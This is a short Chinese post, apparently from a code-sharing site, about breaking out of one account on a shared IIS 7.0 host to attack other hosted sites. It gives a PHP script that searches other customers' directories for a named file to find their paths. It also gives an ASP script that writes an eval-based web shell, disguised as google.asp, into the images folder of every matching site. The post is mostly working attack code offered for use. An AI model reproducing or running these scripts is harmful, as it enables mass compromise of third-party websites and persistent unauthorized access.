碰到個(gè)虛擬主機(jī),iis7.0.里邊有上萬(wàn)個(gè)站,只有腳本權(quán)限,沒(méi)命令行權(quán)限,但是可以跨目錄寫(xiě)文件.如果能得到目標(biāo)站的物理目錄,能立馬搞定.但是想盡一切辦法,也沒(méi)找到物理路徑.所以只有用腳本找了.手工找會(huì)累死的.一個(gè)php是找的,一個(gè)asp是寫(xiě)的

php版

復(fù)制代碼代碼如下:

 
<?php 
set_time_limit(0); 
$path = 'D:/Hosting'; 
$somefile = $_GET['key']; 
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt'; 
if (!isset($_SERVER['PHP_AUTH_USER'])) { 
header('WWW-Authenticate: Basic realm="My Realm"'); 
header('HTTP/1.0 401 Unauthorized'); 
echo 'Text to send if user hits Cancel button'; 
exit; 
} else { 
if(is_dir($path) && is_readable($path)) 
{ 
$path2 = ''; 
$handle = opendir($path); 
while(false !== ($filename = readdir($handle))) 
{ 
if($filename{0} != $_GET['dir']) 
{ 
continue; 
} 
/* 
if($filename{1} != $_GET['two']) 
{ 
continue; 
} 
*/ 
//$path2 = $path.'/'.$filename.'/html'; 
$path2 = $path.'/'.$filename; 
if(is_dir($path2) && is_readable($path2)) 
{ 
@$handle2 = opendir($path2); 
while(false !== ($filename2 = readdir($handle2))) 
{ 
if($filename2 == $somefile) 
{ 
//echo'[+]Found !'.$filename2."\n"; 
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND); 
} 
} 
@closedir($handle2); 
} 
} 
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND); 
closedir($handle); 
} 
} 

asp版

復(fù)制代碼代碼如下:

 
<% 
Server.ScriptTimeout=500000000 
key = Trim(Request.QueryString("key")) 
msg=" <% eval(rquese(Chr(35)))%" &">" 
Set FSO=Server.CreateObject("Scripting.FileSystemObject") 
Set ServerFolder=FSO.GetFolder("C:\intel") 
Set ServerFolderList=ServerFolder.subfolders 
For Each ServerFileEvery IN ServerFolderList 
' Response.write ServerFileEvery&"</br>" 
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then 
Set sServerFolder=FSO.GetFolder(ServerFileEvery) 
Set sServerFolderList=sServerFolder.subfolders 
For Each sServerFileEvery IN sServerFolderList 
If LCase(sServerFileEvery.name) = "images" Then 
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8" 
End If 
Next 
End If 
Next 
Function StreamSaveToFile(sPath, sContent, sCharSet) 
Dim oStream 
If(InStr(sPath, ":") <= 0)Then 
sPath = Replace(sPath, ",", "，") 
sPath = Server.MapPath(sPath) 
sPath = Replace(sPath, "，", ",") 
End If 
Set oStream = Server.CreateObject("Adodb.Stream") 
With oStream 
.Type = 2 
.Mode = 3 
.Open 
.Charset = sCharSet 
.WriteText sContent 
.SaveToFile sPath, 2 
.Close 
End With 
Set oStream = Nothing 
End Function 
%> 